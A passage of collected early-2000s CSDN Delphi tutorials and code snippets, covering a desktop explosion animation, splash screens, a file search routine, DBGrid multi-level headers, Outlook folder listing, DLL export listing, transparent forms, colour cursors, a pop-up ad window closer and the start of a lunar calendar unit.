Sleep(20);//显示速度太快，停顿20毫秒

//恢复桌面

bitblt(DeskTopDC,X,Y,w,h,BitMapB.Canvas.handle,0,0,srccopy);

end;

end;

finally

BitMapB.Free;

end;

end;

//飞行器的飞行函数

//参数x,y指定飞行器飞行的目的地

procedure TForm1.shipmove(X:integer;Y:integer);

var

w:integer;

h:integer;

i:integer;

j:integer;

k:integer;

l:integer;

BitMapB : TBitMap;

begin

Randomize();

BitMapB:=TBitMap.Create;

try

//动画位图为4*16-3帧空帧=61帧

w:=Image2.Width div 4;

h:=image2.Height div 16;

BitMapB.Height :=h;

BitMapB.Width :=w;

k:=0;

l:=0;

while not stop do

for i:=0 to 15 do

for j:=0 to 3 do

begin

if (i=15) and (i>0) then break;//如果是空帧就不画了

//保存桌面上指定区域的位图

//注意，由于飞行是在不同位置完成的，所以要保存即将被绘图的桌面区域

savebackground(BitMapB.canvas,w,h,k,l);

tranbit(DeskTopDC ,k,l,w,h,image2.Canvas.Handle,j*w,i*h,w,h,RGB(208,2,178));

sleep(10);

bitblt(DeskTopDC,k,l,w,h,BitMapB.Canvas.handle,0,0,srccopy);

if(k<x)then k:=k+1;

if(l<y)then l:=l+1;

if timer1.Enabled =false then

if(k>x-10)then//到达目的地就停止飞行，并引爆炸弹

begin

stop:=true;

timer1.Enabled :=true;//炸弹引爆器

end;

end;

finally

BitMapB.Free;

end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

var

x,y:integer;

begin

if(expnum = 0) then

begin

Explode(screen.width div 2-20,screen.Height div 2-20);

sndPlaySound('explosion.wav',SND_NOSTOP);

expnum:=expnum+1;

end

else if expnum<10 then//爆炸最多10次

begin

//产生随机位置

x:=Random(screen.Width-100);

y:=Random(Screen.Height-100);

Explode(x,y);//爆炸

sndPlaySound('explosion.wav',SND_NOSTOP);//播放爆炸声音

expnum:=expnum+1;

end

else

begin

stop:=true;

timer1.Enabled :=false;

close();

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

DeskTopDC:=GetDC(0);

chdir(ExtractFilePath(application.ExeName));

stop:=false;

expnum:=0;

//飞行器开始飞行，目的地为屏幕中央

self.shipmove(screen.width div 2,screen.Height div 2);

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

stop:=true;

Timer1.Enabled :=false;

ReleaseDC(0, DeskTopDC);

end;

end.

4.结束语

正如我们所希望的那样：一个飞行器飞入桌面，慢慢向屏幕中央靠近，当它到达目的地时就爆炸了，并引出一连串的爆炸。程序顺利地完成了我们的希望，但是程序还有许多不足，最好用directx来完成动画，这样效果可能会更好。如谁对其感兴趣的话，发E_MAIL给我，我们一起探讨。（E_MAIL:CODEHUNTER@SOHU.COM）

3/29/2001 4:18:19 PM


CSDN_文档中心_巧用Delphi制作溅射屏幕

（作者：施路　2000年12月08日 09:32）

    精心编写的WINDOWS程序显示启动注意事项，称之为溅射屏幕（splash screen）。利用一点儿小小的内容，即可给程序的显示添加不少色彩。

    由于工程本身创建程序的主窗口，且启动溅射屏幕必须在创建主窗口之前出现，所以工程文件必须创建自己的启动屏幕。这意味着用户必须修改源代码来创建工程文件，而这通常在DELPHI编程中是不需要的。下面的过程介绍了溅射屏幕的建立过程。

    1、开始一个新的工程。将窗体命名为MainForm，同时将其Caption属性设置为SplashinDemo。把这个工程保存在一个目录中，如C：\Projects\Splashin。把MainForm的单元命名为Main，把工程文件命名为Splashin。

    2、在MainForm中插入一个Button组件。将Button的Name属性改为ExitButton，而将其Caption属性改为Exit。为ExitButton的OnClick事件创建一个处理器，在过程的begin和end关键词之间插入Close；语句。

    3、选取File|New Form命令，或者单击New Form速度按钮。添加一个新的窗体。

    4、将这个窗体的Name属性改变为SplashForm，删除其Caption属性。此外，将其BorderStyle属性改变为bsnone，同时将BorderIcons下的三个子值设置为False。

    5、保存这个工程。当Delphi提示读者提供单元文件名时，要确信当前目录为正确的目录。为SplashForm的单元文件名输入Splash。

    6、将SplashForm的Enabled属性设置为False。这里不想让用户能够给窗口提供键盘和鼠标命令，这是极少见的情况之一。在这个例子中，我们想让程序对SplashForm的显示拥有完全的控制权。

    7、由于窗口没有轮廓，所以从Additional组件类中插入一个Bevel组件对象。这有助于定义窗口的边缘。将Bevel1的Align属性设置为alClient。同时，将对象的Shape属性改变为bsFrame，将其Style属性改变为bsRaised。这些值由使用者来确定。

    8、在SplashForm中插入想使用的组件，在这里不要插入任何按钮或者其他相互作用的控件。应用程序本身显示和去除启动溅射对话框。

    9、选择Project菜单。高亮显示Splash工程个弹出式菜单。选择Options命令。在所产生的Project Options对话框中，选取Forms页标签。注意，MainForm和SplashForm位于自动创建的窗体列表中。高亮显示每个窗体并单击鼠标右按钮来将其移动到Available窗体。所有的Delphi窗体在运行时都是在内存中自动创建的，这要消耗内存和系统资源。在这样的一个案例中，程序是在运行时创建窗体的，读者应该从自动创建的列表中删除窗体。关闭ProjectOptions窗口。

    10、接下来，修改工程的源代码，以便在显示主窗口之前显示溅射对话框。这里需要在工程文件中插入语句，以便与Splash.dpr工程文件相匹配。工程源代码如下：

    program Project3;

    uses

     Forms,

     main in 'main.pas' {MainForm},

     splash in 'splash.pas' {SplashForm};

    {$R *.RES}

    begin

     SplashForm:=TSplashForm.Create(Application);

     SplashForm.Show;

     SplashForm.Update;

     Application.CreateForm(TMainForm,MainForm);

     SplashForm.Close;

     Application.Run;

    end.

    11、如果这时编译和运行程序，它就非常快速地显示和去除启动溅射对话框，以至用户可能没机会见到它。为了强迫对话框保持几秒钟的可见时间，请选取程序的MainForm。为窗体的OnCreate命令创建一个处理器。在关键词的前面添加一个名为stopTime的长整型变量。在begin和end之间插入两个语句：一个为对Windows GetTickCount函数的调用。来将stopTime设置为Windows已在运行的秒数；另一个语句为while语句，这个语句另外延迟2秒钟。程序清单如下：

    unit main;

    interface

    uses

     Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

     StdCtrls;

    type

     TMainForm = class(TForm)

        Exitbutton: TButton;

        procedure ExitbuttonClick(Sender: TObject);

        procedure FormCreate(Sender: TObject);

     private

        { Private declarations }

     public

        { Public declarations }

     end;

    var

     MainForm: TMainForm;

    implementation

    {$R *.DFM}

    procedure TMainForm.ExitbuttonClick(Sender: TObject);

    begin

     close;

    end;

    procedure TMainForm.FormCreate(Sender: TObject);

    var

     stopTime:LongInt;

    begin

     stopTime:=GetTickCount div 1000;

     while ((GetTickCount div 1000)<(stopTime+2)) do

     Sleep(1);

    end;

    end.

    12、按F9编译、运行程序。


CSDN_文档中心_轻轻松松找文件--支持回调函数的通用文件查找函数

轻轻松松查找文件
在平常的编程当中，经常会碰到查找某一个目录下某一类文件或者所有文件的问题，为了适应不同的需要，我们经常不得不编写大量的类似的代码，有没有可能写一个通用的查找文件的程序，找到一个文件后就进行处理的呢？这样我们只要编写处理文件的部分就可以了，不需要编写查找文件的部分！答案是肯定的。下面的这个程序就能实现这个功能！这个算法的效率有待于改进，主要是目录处理部分（特别指出的地方）。
file://说明：
file://TFindCallBack为回调函数，FindFile函数找到一个匹配的文件之后就会调用这个函数。
file://TFindCallBack的第一个参数找到的文件名，你在回调函数中可以根据文件名进行操作。
file://TFindCallBack的第二个参数为找到的文件的相关记录信息，是一个TSearchRec结构。
file://TFindCallBack的第三、四个参数分别为决定是否终止文件的查找，临时决定是否查找某个子目录！
file://FindFile的参数：
file://第一个决定是否退出查找，应该初始化为false；
file://第二个为要查找路径；
file://第三个为文件名，可以包含Windows所支持的任何通配符的格式；默认所有的文件
file://第四个为回调函数，默认为空
file://第五个决定是否查找子目录，默认为查找子目录
file://第六个决定是否在查找文件的时候处理其他的消息，默认为处理其他的消息，这个参数如果为false的话，可以加快处理速度，但是将不会响应程序的任何消息。
file://若有意见和建议请E_Mail：Kingron@163.net
type
TFindCallBack=procedure (const filename:string;const info:TSearchRec;var bQuit,bSub:boolean);

procedure FindFile(var quit:boolean;const path: String;const filename:string='*.*';
proc:TFindCallBack=nil;bSub:boolean=true;const bMsg:boolean=true);
var
fpath: String;
info: TsearchRec;

procedure ProcessAFile;
begin
if (info.Name<>'.') and (info.Name<>'..') and ((info.Attr and faDirectory)<>faDirectory) then
begin
if assigned(proc) then
proc(fpath+info.FindData.cFileName,info,quit,bsub);
end;
end;

procedure ProcessADirectory;
begin
if (info.Name<>'.') and (info.Name<>'..') and ((info.attr and fadirectory)=fadirectory) then
findfile(quit,fpath+info.Name,filename,proc,bsub,bmsg);
end;

begin
if path[length(path)]<>'\' then
fpath:=path+'\'
else
fpath:=path;
try
if 0=findfirst(fpath+filename,faanyfile and (not fadirectory),info) then
begin
ProcessAFile;
while 0=findnext(info) do
begin
ProcessAFile;
if bmsg then application.ProcessMessages;
if quit then
begin
findclose(info);
exit;
end;
end;
end;
finally
findclose(info);
end;
try
if bsub and (0=findfirst(fpath+'*',faanyfile,info)) then file://这儿有待于改进因为会查找
// 所有的文件，并不只是目录
begin
ProcessADirectory;
while findnext(info)=0 do
ProcessADirectory;
end;
finally
findclose(info);
end;
end;
例子：
//回调函数：
procedure aaa(const filename:string;const info:tsearchrec;var quit,bsub:boolean);
begin
form1.listbox1.Items.Add(filename);
quit:=form1.qqq;
bsub:=form1.checkbox1.Checked;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
listbox1.Clear; file://初始化
qqq:=false;
button1.Enabled:=false;
findfile(qqq,edit1.text,edit2.text,aaa,checkbox1.checked,checkbox2.checked);
showmessage(inttostr(listbox1.items.count));
button1.Enabled:=true;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
qqq:=true; file://终止查找
end;


CSDN_文档中心_轻松实现DBGrid的多表头

用法：
设置DBGrid的Column的Caption属性
例如：Column1的Caption为111|222
Column2的Caption为111|333
那么Column1和Column2公用一个表头111

unit ADBGrid;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Grids, DBGrids, Math;

type
TADBGrid = class(TDBGrid)
private
{ Private declarations }
//兄弟列子标题,当前列子标题
BrerLayerTitles, CurLayerTitles: TStringList;
SaveFont: TFont;
//根据当前数据列号和表头的层号获取表头的区域
function TitleLayerRect(LayerTitles: TStrings; TitleRect: TRect; LayerID, ACol: Integer): TRect;
//解出当前数据列标题为子标题并返回标题层数(子标题数)
function ExtractSubTitle(LayerTitles: TStrings; ACol: Integer): Integer;
protected
{ Protected declarations }
procedure DrawCell(ACol, ARow: Longint; ARect: TRect; AState: TGridDrawState); override;
procedure Paint; override;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
{ Published declarations }
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Samples', [TADBGrid]);
end;

constructor TADBGrid.Create(AOwner: TComponent);
begin
inherited;
BrerLayerTitles := TStringList.Create;
curLayerTitles := TStringList.Create;
SaveFont := TFont.Create;
end;

destructor TADBGrid.Destroy;
begin
BrerLayerTitles.Free;
curLayerTitles.Free;
SaveFont.Free;
inherited;
end;

procedure TADBGrid.DrawCell(ACol, ARow: Integer; ARect: TRect;
AState: TGridDrawState);
var
SubTitleRT, CaptionRt, IndicatorRT: TRect;
Column: TColumn;
SubTitle: string;
i: Integer;
begin
if (ARow = 0) and (ACol > 0) then
begin
ExtractSubTitle(curLayerTitles, RawToDataColumn(ACol));
for i := 0 to curLayerTitles.Count - 1 do
begin
SubTitleRT := TitleLayerRect(curLayerTitles, ARect, i, RawToDataColumn(ACol));
CaptionRt := SubTitleRT;
Canvas.Brush.Color := FixedColor;
Canvas.FillRect(SubTitleRT);

DrawEdge(Canvas.Handle, SubTitleRT, BDR_RAISEDINNER, BF_TOPLEFT);
if i <> CurLayerTitles.Count - 1 then
begin
DrawEdge(Canvas.Handle, SubTitleRT, BDR_RAISEDOUTER, BF_BOTTOM);
Dec(SubTitleRT.Bottom, 2);
end else Dec(SubTitleRT.Bottom, 1);
Canvas.Pen.Color := clWhite;
Dec(SubTitleRT.Right, 1);
Canvas.MoveTo(SubTitleRT.Right, SubTitleRT.Top);
Canvas.LineTo(SubTitleRT.Right, SubTitleRT.Bottom);
Canvas.LineTo(SubTitleRT.Left, SubTitleRT.Bottom);
Column := Columns[RawToDataColumn(ACol)];
SubTitle := '';
if Assigned(Column) then
begin
SubTitle := CurLayerTitles[i];
SaveFont.Assign(Canvas.Font);
Canvas.Font.Assign(TitleFont);
try
InflateRect(SubTitleRT, -1, -1);
DrawText(Canvas.Handle, PChar(SubTitle), Length(SubTitle),
SubTitleRT, DT_CENTER or DT_SINGLELINE or DT_VCENTER);
finally
Canvas.Font.Assign(SaveFont);
end;
end;
end;
if dgIndicator in Options then
begin
IndicatorRT := Rect(0, 0, IndicatorWidth + 1, RowHeights[0]);
Canvas.FillRect(IndicatorRT);
IndicatorRT.Right := IndicatorRT.Right - 1;
Canvas.Rectangle(IndicatorRT);
IndicatorRT.Right := IndicatorRT.Right + 1;
DrawEdge(Canvas.Handle, IndicatorRT, BDR_RAISEDOUTER, BF_RIGHT);
end;
end
else begin
inherited;
if ACol = 0 then
DrawEdge(Canvas.Handle, ARect, BDR_SUNKENOUTER, BF_BOTTOMRIGHT);
end;
end;

function TADBGrid.ExtractSubTitle(LayerTitles: TStrings;
ACol: Integer): Integer;
var L, P: Integer;
SubTitle: string;
begin
Result := 0;
if Assigned(Columns[ACol]) then
SubTitle := Columns[ACol].Title.Caption
else Exit;
if LayerTitles <> nil then LayerTitles.Clear;
L := 0;
repeat
P := Pos('|', SubTitle);
if P = 0 then
begin
if LayerTitles <> nil then LayerTitles.Add(SubTitle);
end
else begin
if LayerTitles <> nil then LayerTitles.Add(Copy(SubTitle, 1, P - 1));
SubTitle := Copy(SubTitle, P + 1, Length(SubTitle) - P);
end;
L := L + 1;
until P = 0;
Result := L;
end;

procedure TADBGrid.Paint;
var
i, MaxLayer, Layer: Integer;
TM: TTextMetric;
begin
if ([csLoading, csDestroying] * ComponentState) <> [] then Exit;
MaxLayer := 0;
//获取表头最大层数
for i := 0 to Columns.Count - 1 do
begin
Layer := ExtractSubTitle(nil, i);
if Layer > MaxLayer then MaxLayer := Layer;
end;
SaveFont.Assign(Canvas.Font);
Canvas.Font.Assign(TitleFont);
try
GetTextMetrics(Canvas.Handle, TM);
//调整DBGrid的标题行高度
RowHeights[0] := (TM.tmHeight + TM.tmInternalLeading + 3) * MaxLayer;
finally
Canvas.Font.Assign(SaveFont);
end;
inherited;
end;

function TADBGrid.TitleLayerRect(LayerTitles: TStrings; TitleRect: TRect;
LayerID, ACol: Integer): TRect;
var
SubTitle: string;
i, j: Integer;
bBrer: Boolean;
begin
Result := TitleRect;
if Assigned(Columns[ACol]) then
SubTitle := Columns[ACol].Title.Caption
else Exit;
ExtractSubTitle(LayerTitles, ACol);
//联合左边的兄弟列
for i := ACol - 1 downto 0 do
begin
ExtractSubTitle(BrerLayerTitles, i);
bBrer := False;
//判断是否为兄弟列
if (BrerLayerTitles.Count = LayerTitles.Count) then
begin
for j := 0 to LayerID do
begin
bBrer := BrerLayerTitles[j] = LayerTitles[j];
if not bBrer then
Break;
end;
end;
if bBrer then
begin
Result.Left := Result.Left - Columns[i].Width;
if dgColLines in Options then
Result.Left := Result.Left - 1;
end
else Break;
end;
//联合右边的兄弟列
for i := ACol + 1 to Columns.Count - 1 do
begin
ExtractSubTitle(BrerLayerTitles, i);
bBrer := False;
//判断是否为兄弟列
if BrerLayerTitles.Count = LayerTitles.Count then
begin
for j := 0 to LayerID do
begin
bBrer := BrerLayerTitles[j] = LayerTitles[j];
if not bBrer then
Break;
end;
end;
if bBrer then
begin
Result.Right := Result.Right + Columns[i].Width;
if dgColLines in Options then
Result.Right := Result.Right + 1;
end
else Break;
end;
//调整表头区域
Result.Top := (RowHeights[0] div LayerTitles.Count) * LayerID;
Result.Bottom := (RowHeights[0] div LayerTitles.Count) * (LayerID + 1);
end;

end.


CSDN_文档中心_请问各位大侠，如何在DELPHI中调用WIN API函数，谢谢。

请问各位大侠，如何在DELPHI中调用WIN API函数，谢谢。


CSDN_文档中心_驱动器是否准备好，如软盘，光驱还有弹开,关闭CDROM的小例子

判断驱动器是否准备好，如软盘，光驱的函数
function IsDiskReady(Drive: char): boolean;
var
d1, d2, d3, d4: longword;
DrivePath: array [0..3] of char;
begin
DrivePath := ' :\';
DrivePath[0] := Drive;
Result := GetDiskFreeSpace(DrivePath, d1, d2, d3, d4);
end;

调用例子：

if not IsDiskReady('A') then
ShowMessage('驱动器 A: 未准备好')
else showmessage('驱动器 A: 准备好');

弹出或关闭cd-rom 函数（要加入 MMSystem 单元）

procduere Eject(YesOrNo: Boolean);
begin
if YesOrNo then
mciSendstring('SET CDAUDIO DOOR OPEN WAIT',nil,0, Handle)
else mciSendstring('SET CDAUDIO DOOR CLOSED WAIT',nil,0, Handle);
end;


CSDN_文档中心_取得的Outlook目录并在TTreeView里显示出来

outlook对象提供了一个MAPI命名空间可以访问其文件夹集合，每个文件夹都有一个唯一的字符型标识符，可以将其作为数据保存在TTreeNode的EntryID属性里。例程如下,uses里加上ComObj。
procedure LoadFolder(ParentNode: TTreeNode; Folder: OleVariant);
var
i: Integer;
node: TTreeNode;
begin
for i := 1 to Folder.Count do
begin
node := Form1.TreeView1.Items.AddChild(ParentNode, Folder.Item[i].Name);
LoadFolder(node, Folder.Item[i].Folders);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
outlook, namespace: OLEVariant;
begin
outlook := CreateOleObject('Outlook.Application');
namespace := outlook.GetNameSpace('MAPI');
loadFolder(nil, NameSpace.Folders);
outlook := UnAssigned;
end;

//rock
//转载请保留此信息


CSDN_文档中心_取得某一dll所有输出函数名

取得某一dll所有输出函数名
在uses里加上ImageHlp

procedure ListDLLFunctions(DLLName: String; List: TStrings);
type
chararr = array [0..$FFFFFF] of Char;
var
H: THandle;
I,
fc: integer;
st: string;
arr: Pointer;
ImageDebugInformation: PImageDebugInformation;
begin
List.Clear;
DLLName := ExpandFileName(DLLName);
if FileExists(DLLName) then
begin
H := CreateFile(PChar(DLLName), GENERIC_READ, FILE_SHARE_READ or
FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if H<>INVALID_HANDLE_VALUE then
try
ImageDebugInformation := MapDebugInformation(H, PChar(DLLName), nil, 0);
if ImageDebugInformation<>nil then
try
arr := ImageDebugInformation^.ExportedNames;
fc := 0;
for I := 0 to ImageDebugInformation^.ExportedNamesSize - 1 do
if chararr(arr^)[I]=#0 then
begin
st := PChar(@chararr(arr^)[fc]);
if Length(st)>0 then
List.Add(st);
if (I>0) and (chararr(arr^)[I-1]=#0) then
Break;
fc := I + 1
end
finally
UnmapDebugInformation(ImageDebugInformation)
end
finally
CloseHandle(H)
end
end
end;

procedure TForm1.Button1Click(Sender: TObject);
var
List: TStrings;
I: integer;
S: String;

begin
List := TStringList.Create;

ListDLLFunctions('c:\windows\system\Abcsda.dll', List);
showmessage(inttostr(list.count));
S := 'List of functions';
for I := 0 to List.Count - 1 do
S := S + #13#10 + List[I];
ShowMessage(S);

List.Free
end;

//rock
//转载请保留此信息


CSDN_文档中心_取得自从开机到现在CPU运行的周期数，超毫秒级的精度

取得自从开机到现在CPU运行的周期数，超毫秒级的精度
function Ticker : DWord; register;
begin
asm
push EAX
push EDX
db $0f,$31
mov Result, EAX
pop EDX
pop EAX
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
showmessage(inttostr( Ticker));
end;

//rock
//转载请保留此信息


CSDN_文档中心_全透明窗体（效果比较好）

全透明窗体（效果比较好）
uses里加上ExtCtrls
procedure tform1.setformtransparent;
var
I: Integer;
FullRgn,
ClientRgn,
ControlRgn: THandle;
Margin,
MarginX,
MarginY,
X,
Y: Integer;
W,H,S :Integer;
bX,bY :Integer;
c :TColor;
begin
Margin := (Width - ClientWidth) div 2;
FullRgn := CreateRectRgn(0, 0, Width, Height);
MarginX := Margin;
MarginY := Height - ClientHeight - Margin;
ClientRgn := CreateRectRgn(MarginX, MarginY, MarginX + ClientWidth, MarginY + ClientHeight);
CombineRgn(FullRgn, FullRgn, ClientRgn, RGN_DIFF);
DeleteObject(ClientRgn);
for I:=0 to ControlCount-1 do
begin
X := MarginX + Controls[I].Left;
Y := MarginY + Controls[I].Top;
W:=Controls[I].Width;
H:=Controls[I].Height;
{}
if controls[i] is timage then begin
with controls[i] as tImage do begin
c:=Picture.Bitmap.Canvas.Pixels[0,0];
for bX:=0 to Picture.Bitmap.Width-1 do begin
for bY:=0 to Picture.Bitmap.Height-1 do begin
if Picture.Bitmap.Canvas.Pixels[bX,bY]<>c then begin
ControlRgn := CreateRectRgn(X+bX, Y+bY, X + bX+1, Y + bY+1);
CombineRgn(FullRgn, FullRgn, ControlRgn, RGN_OR);
DeleteObject(ControlRgn);
end;
end;
end;
end;
end else
{}
if controls[i] is tShape then begin
if W < H then S := W else S := H;
if (Controls[i] as tshape).Shape in [stSquare, stRoundSquare, stCircle] then
begin
Inc(X, (W - S) div 2);
Inc(Y, (H - S) div 2);
W := S;
H := S;
end;
Inc(W); Inc(H); Inc(S);
case (controls[i] as tshape).Shape of
stRectangle, stSquare:
ControlRgn := CreateRectRgn(X, Y, X + W, Y + H);
stRoundRect, stRoundSquare:
ControlRgn := CreateRoundRectRgn(X, Y, X + W, Y + H, S div 4, S div 4);
stCircle, stEllipse:
ControlRgn:=CreateEllipticRgn(X, Y, X + W, Y + H);
else
ControlRgn := CreateRectRgn(X, Y, X + W, Y + H);
end;
CombineRgn(FullRgn, FullRgn, ControlRgn, RGN_OR);
DeleteObject(ControlRgn);
end else
{}
begin
ControlRgn := CreateRectRgn(X, Y, X + W, Y + H);
CombineRgn(FullRgn, FullRgn, ControlRgn, RGN_OR);
DeleteObject(ControlRgn);
end;
end;
SetWindowRgn(Handle, FullRgn, True);
DeleteObject(FullRgn);
end;

procedure TForm1.FormResize(Sender: TObject);
begin
setformtransparent;
end;

//rock
//转载请保留此信息


CSDN_文档中心_让彩色光标出现在Delphi程序中

在Delphi中用Loadcursor()得到的光标只有黑白两色，怎样在程序中得到彩色光标呢？笔者尝试制作了以下程序：
    方法一　用Loadcursorfromfile()从外部调入图标作为光标
    Loadcursorfromfile()函数可以读＊CUR，＊ICO，＊ANI为后缀的文件作为光标，其中ICO为彩色图标格式（可用Image Editor制作），ANI为动画光标格式。以下为打开一图标作为光标的演示程序段，当光标移动到测试区域内光标会变成选定的图案；
    {设：opendialog1:Topendialog;Bitbtn1:Tbitbtn}
    procedure TForm1.BitBtn1Click(Sender:TObject);
    var tt:pchar;size:integer;s:string;
    begin
    if opendialog1.Execute then
    begin
    size:=length(opendialog1.filename);
    getmem(tt,size);
    s:=opendialog1.filename;
    strpcopy(tt,s);
    screen.cursors[2]:=loadcursorfromfile(tt);
    bf.cursor:=2;
    freemem(tt,size);
    end;
    end;
    方法二　从资源文件加载彩色光标
    用方法一发送程序时必须包含＊CUR文件，因而从资源文件中加载彩色光标是更可行的方法。用图标存放彩色光标，使用时把图标存入临时文件，用Loadcursorfromfile（）从临时文件读出彩色光标。
    程序段：
    procedure ZloadfromResourse(screenindex:integer;name:Pchar);
    var td:ticon;
    begin
    try
    td:=ticon.Create;
    td.Handle:=LoadIcon(Hinstance,name);
    td.SaveToFile(′temp.cur′);
    screen.Cursors[screenindex]:=loadcursorfromfile(′temp.cur′);
    deletefile(′temp.cur′);
    finally
    td.free;
    end;
    end;
    此程序把名字为name的图标变为序号为screenindex的光标;
    例：
    ZloadfromResourse(2,′myicon′);
    Form1.cursor:=2;


CSDN_文档中心_让弹出式广告就地正法

每当我浏览网站的时候,那扑面而来的广告窗口总是弄得我心烦意乱.我下定决心要自己编一个查杀广告的程序.经过我的观察,发现了广告窗口和正常IE窗口的区别主要在于广告窗口没有标题栏和状态栏(其实它们也有,如果你不明白,请继续往下看!)
祭出我自编的软件-探索者(其实只不过是窗口类的显示器,当然也能看密码),发现正常浏览窗口的类名是IEFRAME和CabinetWClass,而广告窗口的类名是CabinetWClass,听说在Windows2000中也是IEFrame(未经证实).其实是什么都无所谓,只要在程序中查找这两个类就可以了.
procedure TForm1.Timer1Timer(Sender: TObject);
var
mainHD,WorkAHD:THandle;
begin
// Kill AD.
mainHD:=FindWIndowEx(0,0,'CabinetWClass',nil);
if Mainhd<>0 then
begin
WorkAHD:=FindWindowEx(Mainhd,0,'WorkerA',nil); ////WorkerA类,具体关联见下图
if WorkAHD=0 then PostMessage(Mainhd,WM_CLOSE,0,0);
end;
end;
通过在Timer事件中调用FindWindowEx函数可以查找到运行窗口的句柄,具体介绍请见Delphi的Win32 API帮助.
当我满心欢喜的运行程序时却发现广告窗口一如往常的弹出,哪里出了错?继续祭出我的"探索者",先把IE浏览器的框架结构搞清楚,功夫不负有心人,经过一下午的时间,终于让我找到了:

调试,却发现原来广告窗口同样具有上图的结构,这也让我的程序设计进程停滞不前,经过两个晚上的思考,我终于想到另一个API函数:GetWindowRect,它可以得到一个窗口的物理尺寸结构.马上调试,终于发现:
1.广告窗口的WorkerA类和Shell DocObject View类的rect.top的值是相同的;
2.正常IE窗口的WorkerA类和Shell DocObject View类的rect.top的值是不相同的;
马上更改代码,代码如下:
procedure TForm1.Timer1Timer(Sender: TObject);
var
mainHD,WorkAHD,ViewHD:THandle;
y_workA,y_view:integer;
rect1,rect2:TRect;
begin
// Kill AD.
mainHD:=FindWIndowEx(0,0,'CabinetWClass',nil);
if Mainhd<>0 then
begin
WorkAHD:=FindWindowEx(Mainhd,0,'WorkerA',nil);
GetwindowRect(WorkAHD,rect1);
y_workA:=rect1.top;
ViewHD:=FindWindowEx(mainHD,0,'Shell DocObject View',nil);
if viewHD<>0 then ////注1:
begin
GetwindowRect(ViewHD,rect2);
y_view:=rect2.top;
if y_View-y_WorkA<5 then PostMessage(Mainhd,WM_CLOSE,0,0);
end;
end;
end;
程序的主要核心部分我已经给出来了,至于其它的,像:如何把程序添加到启动菜单,最小化到任务栏中等等,这方面的介绍很多,我就不多言了.
本程序在Windows98SE和Delphi5.0下调试通过.
注1:其实资源管理器的类名也是"CabinetWClass",但它不具有"Shell DocObject View".如果不判断这一点,那么运行程序后,你连资源管理器也打不开了.
注2:我的论坛:http://bbs.yimeier.net/cgi-bin/bbs.cgi?id=200204161423.


CSDN_文档中心_日历函数单元

//原始版权宣告：

/***************************************************************************
致看到这些源代码的兄弟:
你好!
这本来是我为一个商业PDA产品开发的日历程序,最近移植于PC机上, 所以算法
和数据部分是用纯C++写的,不涉及MFC,所有的代码都是以短节省存储空间为主要目
的.
很高兴你对这些代码有兴趣,你可以随意复制和使用些代码,唯一有一点小小的
愿望:在你使用和复制给别人时,别忘注明这些代码作者:-)。程序代码也就罢了,后
面的数据可是我辛辛苦苦从万年历上找出来输进去的。
如果你有什么好的意见不妨Mail给我。

wangfei@hanwang.com.cn
或
wangfei@engineer.com.cn
2000年3月
****************************************************************************/

//Translated and modified by Icebird from C++ to Delphi 5 on 2001.1

unit Calendar;

interface

uses SysUtils, Windows;

const
START_YEAR = 1901;
END_YEAR = 2050;

// ==> function IsLeapYear(Year: Word): Boolean;

//计算iYear,iMonth,iDay对应是星期几 1年1月1日 --- 65535年12月31日
function WeekDay(iYear, iMonth, iDay: Word): Integer;
// ==> function DayOfWeek(Date: TDateTime): Integer;

//计算指定日期的周数，周0为新年开始后第一个星期天开始的周
function WeekNum(const TDT: TDateTime): Word; overload;
function WeekNum(const iYear, iMonth, iDay: Word): Word; overload;

//返回iYear年iMonth月的天数 1年1月 --- 65535年12月
function MonthDays(iYear, iMonth: Word): Word;

//返回阴历iLunarYer年阴历iLunarMonth月的天数，如果iLunarMonth为闰月，
//高字为第二个iLunarMonth月的天数，否则高字为0
// 1901年1月---2050年12月
function LunarMonthDays(iLunarYear, iLunarMonth: Word): Longword;

//返回阴历iLunarYear年的总天数
// 1901年1月---2050年12月
function LunarYearDays(iLunarYear: Word): Word;

//返回阴历iLunarYear年的闰月月份，如没有返回0
// 1901年1月---2050年12月
function GetLeapMonth(iLunarYear: Word): Word;

//把iYear年格式化成天干记年法表示的字符串
procedure FormatLunarYear(iYear: Word; var pBuffer: string); overload;
function FormatLunarYear(iYear: Word): string; overload;

//把iMonth格式化成中文字符串
procedure FormatMonth(iMonth: Word; var pBuffer: string; bLunar: Boolean = True); overload;
function FormatMonth(iMonth: Word; bLunar: Boolean = True): string; overload;

//把iDay格式化成中文字符串
procedure FormatLunarDay(iDay: Word; var pBuffer: string); overload;
function FormatLunarDay(iDay: Word): string; overload;

//计算公历两个日期间相差的天数 1年1月1日 --- 65535年12月31日
function CalcDateDiff(iEndYear, iEndMonth, iEndDay: Word; iStartYear: Word = START_YEAR; iStartMonth: Word = 1; iStartDay: Word = 1): Longword; overload;
function CalcDateDiff(EndDate, StartDate: TDateTime): Longword; overload;

//计算公历iYear年iMonth月iDay日对应的阴历日期,返回对应的阴历节气 0-24
//1901年1月1日---2050年12月31日
function GetLunarDate(iYear, iMonth, iDay: Word; var iLunarYear, iLunarMonth, iLunarDay: Word): Word; overload;
procedure GetLunarDate(InDate: TDateTime; var iLunarYear, iLunarMonth, iLunarDay: Word); overload;

function GetLunarHolDay(InDate: TDateTime): string; overload;
function GetLunarHolDay(iYear, iMonth, iDay: Word): string; overload;

//private function--------------------------------------

//计算从1901年1月1日过iSpanDays天后的阴历日期
procedure l_CalcLunarDate(var iYear, iMonth, iDay: Word; iSpanDays: Longword);

//计算公历iYear年iMonth月iDay日对应的节气 0-24，0表不是节气
function l_GetLunarHolDay(iYear, iMonth, iDay: Word): Word;

//计算指定日期所对应的星座
function GetConstellation(const DateTime: TDateTime): Integer;
function GetConstellationName(const Constellation: Integer): string; overload;
function GetConstellationName(const DateTime: TDateTime): string; overload;

implementation

var
